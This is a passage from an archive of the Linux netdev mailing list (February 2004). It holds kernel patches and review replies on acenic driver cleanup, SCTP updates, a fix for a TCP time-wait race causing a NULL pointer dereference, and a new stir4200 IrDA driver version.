while(0) -#else -#define late_stop_netif_stop_queue(dev) netif_stop_queue(dev) -#define early_stop_netif_stop_queue(dev) 0 -#define early_stop_netif_wake_queue(dev) do{} while(0) -#define ace_mark_net_bh() do{} while(0) -#define ace_if_down(dev) do{} while(0) -#endif - -#if (LINUX_VERSION_CODE >= 0x02031b) -#define NEW_NETINIT -#define ACE_PROBE_ARG void -#else -#define ACE_PROBE_ARG struct net_device *dev -#endif - -#ifndef min_t -#define min_t(type,a,b) (((a)<(b))?(a):(b)) -#endif - -#ifndef ARCH_HAS_PREFETCHW -#ifndef prefetchw -#define prefetchw(x) do{} while(0) -#endif +#ifndef offset_in_page +#define offset_in_page(ptr) ((unsigned long)(ptr) & ~PAGE_MASK) #endif #define ACE_MAX_MOD_PARMS 8 @@ -604,11 +429,9 @@ static int probed __initdata = 0; -int __devinit acenic_probe (ACE_PROBE_ARG) +static int __init acenic_probe(void) { -#ifdef NEW_NETINIT struct net_device *dev; -#endif struct ace_private *ap; struct pci_dev *pdev = NULL; int boards_found = 0; @@ -844,7 +667,6 @@ } -#ifdef MODULE MODULE_AUTHOR("Jes Sorensen "); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("AceNIC/3C985/GA620 Gigabit Ethernet driver"); @@ -862,7 +684,6 @@ MODULE_PARM_DESC(rx_coal_tick, "AceNIC/3C985/GA620 max clock ticks to wait from first rx descriptor arrives"); MODULE_PARM_DESC(max_rx_desc, "AceNIC/3C985/GA620 max number of receive descriptors to wait"); MODULE_PARM_DESC(tx_ratio, "AceNIC/3C985/GA620 ratio of NIC memory used for TX/RX descriptors (range 0-63)"); -#endif static void __exit ace_module_cleanup(void) @@ -962,39 +783,8 @@ } } - -int __init ace_module_init(void) -{ - int status; - - root_dev = NULL; - -#ifdef NEW_NETINIT - status = acenic_probe(); -#else - status = acenic_probe(NULL); -#endif - return status; -} - - -#if (LINUX_VERSION_CODE < 0x02032a) -#ifdef MODULE -int init_module(void) -{ - return ace_module_init(); -} - - -void cleanup_module(void) -{ - ace_module_cleanup(); -} -#endif -#else -module_init(ace_module_init); +module_init(acenic_probe); module_exit(ace_module_cleanup); -#endif static void ace_free_descriptors(struct net_device *dev) @@ -2642,8 +2432,6 @@ netif_start_queue(dev); - ACE_MOD_INC_USE_COUNT; - /* * Setup the bottom half rx ring refill handler */ @@ -2660,8 +2448,6 @@ unsigned long flags; short i; - ace_if_down(dev); - /* * Without (or before) releasing irq and stopping hardware, this * is an absolute non-sense, by the way. It will be reset instantly @@ -2733,7 +2519,6 @@ ace_unmask_irq(dev); local_irq_restore(flags); - ACE_MOD_DEC_USE_COUNT; return 0; } @@ -2789,12 +2574,6 @@ struct ace_regs *regs = ap->regs; struct tx_desc *desc; u32 idx, flagsize; - - /* - * This only happens with pre-softnet, ie. 2.2.x kernels. - */ - if (early_stop_netif_stop_queue(dev)) - return 1; restart: idx = ap->tx_prd; From hch@lst.de Fri Feb 27 13:13:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 13:13:45 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RLDYKO015952 for ; Fri, 27 Feb 2004 13:13:35 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1RKvTQc020443 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 27 Feb 2004 21:57:30 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1RKvTbO020441; Fri, 27 Feb 2004 21:57:29 +0100 Date: Fri, 27 Feb 2004 21:57:29 +0100 From: Christoph Hellwig To: Jeff Garzik Cc: jes@wildopensource.com, netdev@oss.sgi.com Subject: Re: [PATCH] kill acient compat cruft from acenic Message-ID: <20040227205729.GB20398@lst.de> References: <20040227202510.GA19947@lst.de> <403FAECD.3090203@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <403FAECD.3090203@pobox.com> User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3628 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev On Fri, Feb 27, 2004 at 03:55:41PM -0500, Jeff Garzik wrote: > Christoph Hellwig wrote: > >Kills lots of really old cruft and adds a little cruft to actually > >make the driver work with recent 2.4 again. > > > Since kcompat (http://sf.net/projects/gkernel/) lets PCI API drivers > work in 2.2, 2.4 and 2.6, I am OK with applying this patch...... > assuming there is a second patch coming to convert to pci_driver API. Jes said he doesn't care for 2.2 and early 2.4 anymore which makes life much easier without external compat cruft. As soon as this patch is in Linus' tree I'll send you a followup. From davem@redhat.com Fri Feb 27 13:31:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 13:31:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RLVPKO017270 for ; Fri, 27 Feb 2004 13:31:28 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1RLVOb23717; Fri, 27 Feb 2004 16:31:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1RLVO811270; Fri, 27 Feb 2004 16:31:24 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1RLV5eF003353; Fri, 27 Feb 2004 16:31:20 -0500 Date: Fri, 27 Feb 2004 13:31:09 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6 SCTP update Message-Id: <20040227133109.3cdfd069.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3630 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004 12:33:56 -0800 (PST) Sridhar Samudrala wrote: > Hi Dave, > > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following update to SCTP on top of linux 2.6.3 Pulled, thanks Sridhar. From davem@redhat.com Fri Feb 27 13:38:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 13:38:53 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RLcmKO017763 for ; Fri, 27 Feb 2004 13:38:49 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1RLc8b26136; Fri, 27 Feb 2004 16:38:08 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1RLc8813649; Fri, 27 Feb 2004 16:38:08 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1RLc4eF006951; Fri, 27 Feb 2004 16:38:04 -0500 Date: Fri, 27 Feb 2004 13:38:07 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP updates. Message-Id: <20040227133807.453e8d4b.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3631 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004 12:31:18 -0800 (PST) Sridhar Samudrala wrote: > Thanks for fixing the MSECS_TO_JIFFIES warning. No problem. Maybe we want to rename some of those other macros to have SCTP_ prefixes too? > Here are a few updates to SCTP on top of the latest 2.4 BK tree. It includes > fixes to NIP6 macro compile error, incorrect packed attribute usage and > a bug with sinit_max_init_timeo behavior. > > please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work Pulled, thanks. From jgarzik@pobox.com Fri Feb 27 13:44:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 13:44:35 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RLiTKO018233 for ; Fri, 27 Feb 2004 13:44:30 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1130 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwpmU-00055K-7B; Fri, 27 Feb 2004 21:44:26 +0000 Message-ID: <403FBA2E.10907@pobox.com> Date: Fri, 27 Feb 2004 16:44:14 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Sridhar Samudrala , netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP updates. References: <20040227133807.453e8d4b.davem@redhat.com> In-Reply-To: <20040227133807.453e8d4b.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3632 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev David S. Miller wrote: > On Fri, 27 Feb 2004 12:31:18 -0800 (PST) > Sridhar Samudrala wrote: > > >>Thanks for fixing the MSECS_TO_JIFFIES warning. I've re-created msec_to_jiffies() a couple times now in my own code. It should be generic... Jeff From olof@austin.ibm.com Fri Feb 27 14:09:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 14:09:51 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RM9aKO018886 for ; Fri, 27 Feb 2004 14:09:42 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1RM9UXd615198; Fri, 27 Feb 2004 17:09:30 -0500 Received: from austin.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1RM9MHp155062; Fri, 27 Feb 2004 15:09:24 -0700 Received: from forte.austin.ibm.com (forte.austin.ibm.com [9.53.85.27]) by austin.ibm.com (8.12.10/8.12.10) with ESMTP id i1RM9LnR048278; Fri, 27 Feb 2004 16:09:21 -0600 Received: from localhost (olof@localhost) by forte.austin.ibm.com (AIX4.3/8.9.3/8.9.3-client1.01) with ESMTP id QAA89016; Fri, 27 Feb 2004 16:09:21 -0600 Date: Fri, 27 Feb 2004 16:09:21 -0600 (CST) From: olof@austin.ibm.com To: davem@redhat.com cc: linux-kernel@vger.kernel.org, , , , Subject: [PATCH] NULL pointer deref in tcp_do_twkill_work() Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="154490139-1198053911-1077914028=:32282" Content-ID: X-archive-position: 3633 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olof@austin.ibm.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --154490139-1198053911-1077914028=:32282 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: This bug has been encountered before (ref http://bugme.osdl.org/show_bug.cgi?id=1627), but that time it went away by itself. We're now seeing it again with another heavy network load on 2.6.3. Recap: We're crashing in tcp_do_twkill_work(): tw_for_each_inmate(tw, node, safe, &tcp_tw_death_row[slot]) { __tw_del_dead_node(tw); spin_unlock(&tw_death_lock); tcp_timewait_kill(tw); tcp_tw_put(tw); killed++; spin_lock(&tw_death_lock); if (killed > quota) { ret = 1; break; } } The crash is in __tw_del_dead_node, where tw is taken off of the tw_death_node list. At the time of the crash, the pprev list pointer is NULL, which indicates that tw is no longer on the list. I'm suspicious of the fact that the tw_death_lock is released, and since it's released, the "safe" inmate could be descheduled on another CPU. Once the lock is reaquired and the loop is redone, the new tw (old safe) is now already taken off the list so we go astray. Shouldn't the loop always restart from the beginning instead of using the (not thread-)"safe" list iteration? Since it keeps taking the entries off the list, the behaviour should be identical but it wouldn't be racy. The alternative is to not drop the lock, but I'm guessing we need to do that to avoid deadlocks. I don't know the TCP code well enough to tell for sure. Proposed patch is attached. We've given it a bit of runtime here but the crashes happen randomly so it'll take a while to gain full confidence that it's fixed. But the above reasoning around the patch seems to make sense. Thanks, Olof Olof Johansson Office: 4E002/905 Linux on Power Development IBM Systems Group Email: olof@austin.ibm.com Phone: 512-838-9858 All opinions are my own and not those of IBM --154490139-1198053911-1077914028=:32282 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=twpatch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=twpatch LS0tIG5ldC9pcHY0L3RjcF9taW5pc29ja3MuYy5vcmlnCTIwMDQtMDItMjcg MTM6NDM6MTEuMDAwMDAwMDAwIC0wNjAwDQorKysgbmV0L2lwdjQvdGNwX21p bmlzb2Nrcy5jCTIwMDQtMDItMjcgMTU6MjE6MTguMzE4ODkwNjcyIC0wNjAw DQpAQCAtNDI3LDkgKzQyNyw3IEBAIHN0YXRpYyB1MzIgdHdraWxsX3RocmVh ZF9zbG90czsNCiBzdGF0aWMgaW50IHRjcF9kb190d2tpbGxfd29yayhpbnQg c2xvdCwgdW5zaWduZWQgaW50IHF1b3RhKQ0KIHsNCiAJc3RydWN0IHRjcF90 d19idWNrZXQgKnR3Ow0KLQlzdHJ1Y3QgaGxpc3Rfbm9kZSAqbm9kZSwgKnNh ZmU7DQogCXVuc2lnbmVkIGludCBraWxsZWQ7DQotCWludCByZXQ7DQogDQog CS8qIE5PVEU6IGNvbXBhcmUgdGhpcyB0byBwcmV2aW91cyB2ZXJzaW9uIHdo ZXJlIGxvY2sNCiAJICogd2FzIHJlbGVhc2VkIGFmdGVyIGRldGFjaGluZyBj aGFpbi4gSXQgd2FzIHJhY3ksDQpAQCAtNDM4LDI1ICs0MzYsMjEgQEAgc3Rh dGljIGludCB0Y3BfZG9fdHdraWxsX3dvcmsoaW50IHNsb3QsIA0KIAkgKiBz b2Z0IGlycXMgYXJlIG5vdCBzZXF1ZW5jZWQuDQogCSAqLw0KIAlraWxsZWQg PSAwOw0KLQlyZXQgPSAwOw0KLQl0d19mb3JfZWFjaF9pbm1hdGUodHcsIG5v ZGUsIHNhZmUsDQotCQkJICAgJnRjcF90d19kZWF0aF9yb3dbc2xvdF0pIHsN CisJd2hpbGUgKGtpbGxlZCA8PSBxdW90YSAmJg0KKwkgICAgICAgIWhsaXN0 X2VtcHR5KCZ0Y3BfdHdfZGVhdGhfcm93W3Nsb3RdKSkgew0KKwkJdHcgPSBo bGlzdF9lbnRyeSh0Y3BfdHdfZGVhdGhfcm93W3Nsb3RdLmZpcnN0LCBzdHJ1 Y3QgdGNwX3R3X2J1Y2tldCwgdHdfZGVhdGhfbm9kZSk7DQogCQlfX3R3X2Rl bF9kZWFkX25vZGUodHcpOw0KIAkJc3Bpbl91bmxvY2soJnR3X2RlYXRoX2xv Y2spOw0KIAkJdGNwX3RpbWV3YWl0X2tpbGwodHcpOw0KIAkJdGNwX3R3X3B1 dCh0dyk7DQogCQlraWxsZWQrKzsNCiAJCXNwaW5fbG9jaygmdHdfZGVhdGhf bG9jayk7DQotCQlpZiAoa2lsbGVkID4gcXVvdGEpIHsNCi0JCQlyZXQgPSAx Ow0KLQkJCWJyZWFrOw0KLQkJfQ0KIAl9DQogDQogCXRjcF90d19jb3VudCAt PSBraWxsZWQ7DQogCU5FVF9BRERfU1RBVFNfQkgoVGltZVdhaXRlZCwga2ls bGVkKTsNCiANCi0JcmV0dXJuIHJldDsNCisJcmV0dXJuIGtpbGxlZCA+IHF1 b3RhOw0KIH0NCiANCiBzdGF0aWMgdm9pZCB0Y3BfdHdraWxsKHVuc2lnbmVk IGxvbmcgZHVtbXkpDQo= --154490139-1198053911-1077914028=:32282-- From davem@redhat.com Fri Feb 27 14:13:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 14:13:35 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RMDVKO019615 for ; Fri, 27 Feb 2004 14:13:32 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1RMDMb05907; Fri, 27 Feb 2004 17:13:22 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1RMDM826743; Fri, 27 Feb 2004 17:13:22 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1RMDIeF023345; Fri, 27 Feb 2004 17:13:18 -0500 Date: Fri, 27 Feb 2004 14:13:21 -0800 From: "David S. Miller" To: Ronghua Zhang Cc: kashyapv@us.ibm.com, shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() Message-Id: <20040227141321.04e2ffb4.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3634 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004 17:08:23 -0500 (EST) Ronghua Zhang wrote: > I have a prototype implementation. You can check out > www.cs.virginia.edu/~rz5b/research/kernel-qos.htm for details. Let me think about this, I'm going to need some time as I have some higher-prio stuff to look at right now. I'm sort of willing to entertain the idea of some kind of scheme like this new idea seems to be. We'll see... From davem@redhat.com Fri Feb 27 14:39:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 14:39:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RMdNKO023390 for ; Fri, 27 Feb 2004 14:39:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1RMZ1b12296; Fri, 27 Feb 2004 17:35:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1RMZ1800493; Fri, 27 Feb 2004 17:35:01 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1RMYgeF000343; Fri, 27 Feb 2004 17:34:57 -0500 Date: Fri, 27 Feb 2004 14:34:45 -0800 From: "David S. Miller" To: olof@austin.ibm.com, davidm@napali.hpl.hp.com, akpm@osdl.org Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com, anton@samba.org, milliner@us.ibm.com Subject: Re: [PATCH] NULL pointer deref in tcp_do_twkill_work() Message-Id: <20040227143445.27dd03bf.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3635 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004 16:09:21 -0600 (CST) olof@austin.ibm.com wrote: > This bug has been encountered before (ref http://bugme.osdl.org/show_bug.cgi?id=1627), > but that time it went away by itself. We're now seeing it again with > another heavy network load on 2.6.3. Olaf, you are a life saver. David Mosberger just recently told me that ia64 is hitting this problem again too and I believe your analysis is perfect. Yes, we cannot cache the 'safe' pointer in tcp_do_twkill_work() while the lock is not held, and YES another cpu can kill off the bucket that 'safe' points to. This patch should fix everything up. Let me know how it goes. ===== include/net/tcp.h 1.56 vs edited ===== --- 1.56/include/net/tcp.h Sun Feb 1 11:17:41 2004 +++ edited/include/net/tcp.h Fri Feb 27 14:31:03 2004 @@ -263,7 +263,10 @@ #define tw_for_each(tw, node, head) \ hlist_for_each_entry(tw, node, head, tw_node) -#define tw_for_each_inmate(tw, node, safe, jail) \ +#define tw_for_each_inmate(tw, node, jail) \ + hlist_for_each_entry(tw, node, jail, tw_death_node) + +#define tw_for_each_inmate_safe(tw, node, safe, jail) \ hlist_for_each_entry_safe(tw, node, safe, jail, tw_death_node) #define tcptw_sk(__sk) ((struct tcp_tw_bucket *)(__sk)) ===== net/ipv4/tcp_minisocks.c 1.43 vs edited ===== --- 1.43/net/ipv4/tcp_minisocks.c Tue Oct 28 03:10:47 2003 +++ edited/net/ipv4/tcp_minisocks.c Fri Feb 27 14:30:01 2004 @@ -427,7 +427,7 @@ static int tcp_do_twkill_work(int slot, unsigned int quota) { struct tcp_tw_bucket *tw; - struct hlist_node *node, *safe; + struct hlist_node *node; unsigned int killed; int ret; @@ -439,8 +439,8 @@ */ killed = 0; ret = 0; - tw_for_each_inmate(tw, node, safe, - &tcp_tw_death_row[slot]) { +rescan: + tw_for_each_inmate(tw, node, &tcp_tw_death_row[slot]) { __tw_del_dead_node(tw); spin_unlock(&tw_death_lock); tcp_timewait_kill(tw); @@ -451,6 +451,14 @@ ret = 1; break; } + + /* While we dropped tw_death_lock, another cpu may have + * killed off the next TW bucket in the list, therefore + * do a fresh re-read of the hlist head node with the + * lock reacquired. We still use the hlist traversal + * macro in order to get the prefetches. + */ + goto rescan; } tcp_tw_count -= killed; @@ -637,7 +645,7 @@ struct hlist_node *node, *safe; struct tcp_tw_bucket *tw; - tw_for_each_inmate(tw, node, safe, + tw_for_each_inmate_safe(tw, node, safe, &tcp_twcal_row[slot]) { __tw_del_dead_node(tw); tcp_timewait_kill(tw); From sri@us.ibm.com Fri Feb 27 14:52:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 14:52:22 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RMqIKO023987 for ; Fri, 27 Feb 2004 14:52:18 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1RMqCrj404618; Fri, 27 Feb 2004 17:52:13 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1RMq8Hk191814; Fri, 27 Feb 2004 15:52:12 -0700 Date: Fri, 27 Feb 2004 14:52:08 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.4 SCTP updates. In-Reply-To: <20040227133807.453e8d4b.davem@redhat.com> Message-ID: References: <20040227133807.453e8d4b.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3636 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev On Fri, 27 Feb 2004, David S. Miller wrote: > On Fri, 27 Feb 2004 12:31:18 -0800 (PST) > Sridhar Samudrala wrote: > > > Thanks for fixing the MSECS_TO_JIFFIES warning. > > No problem. Maybe we want to rename some of those other macros > to have SCTP_ prefixes too? Are you referring to JIFFIES_TO_MSECS? Do you see any other macros that need renaming? I think rest of the macros do have SCTP_ prefix. As Jeff said, may be we should make them generic? Is include/linux/time.h a good place? looking at the other implementations from net/irda/irda.h #define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) form include/linux/libata.h static inline unsigned long msecs_to_jiffies(unsigned long msecs) { return ((HZ * msecs + 999) / 1000); } Won't these overflow for large msec values. Thanks Sridhar From shemminger@osdl.org Fri Feb 27 15:45:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 15:46:00 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1RNjtKO025994 for ; Fri, 27 Feb 2004 15:45:55 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1RNiqE30814; Fri, 27 Feb 2004 15:44:52 -0800 Date: Fri, 27 Feb 2004 15:44:52 -0800 From: Stephen Hemminger To: Jean Tourrilhes , Martin Diehl Cc: netdev@oss.sgi.com Subject: [RFT] stir4200 - new version Message-Id: <20040227154452.680613b7@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3637 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Here is the latest stir4200 driver for testing. The diff is against 2.6.3-bk9. The major change is getting rid of using the receive interrupt pipe. I could never get it to work reliably with FIR; it would miss frames. Performance is way better. Still not reliable in FIR with large packet sizes.. Also, the whole timer scheme will die if HZ=100 because then the granularity is too big. --- linux-2.6/drivers/net/irda/stir4200.c 2004-02-18 14:14:14.000000000 -0800 +++ test-2.6/drivers/net/irda/stir4200.c 2004-02-27 15:37:04.236288689 -0800 @@ -49,12 +49,14 @@ #include #include #include +#include #include #include #include #include #include -#include +#include +#include MODULE_AUTHOR("Stephen Hemminger "); MODULE_DESCRIPTION("IrDA-USB Dongle Driver for SigmaTel STIr4200"); @@ -72,7 +74,7 @@ module_param(tx_power, int, 0); MODULE_PARM_DESC(tx_power, "Set Transmitter power (0-3, 0 is highest power)"); -static int rx_interval = 5; /* milliseconds */ +static int rx_interval = 4; /* milliseconds */ module_param(rx_interval, int, 0); MODULE_PARM_DESC(rx_interval, "Receive polling interval (ms)"); @@ -80,7 +82,6 @@ #define CTRL_TIMEOUT 100 /* milliseconds */ #define TRANSMIT_TIMEOUT 200 /* milliseconds */ #define STIR_FIFO_SIZE 4096 -#define NUM_RX_URBS 2 enum FirChars { FIR_CE = 0x7d, @@ -167,36 +168,27 @@ TEST_TSTOSC = 0x0F, }; -enum StirState { - STIR_STATE_RECEIVING=0, - STIR_STATE_TXREADY, -}; - struct stir_cb { struct usb_device *usbdev; /* init: probe_irda */ struct net_device *netdev; /* network layer */ struct irlap_cb *irlap; /* The link layer we are binded to */ struct net_device_stats stats; /* network 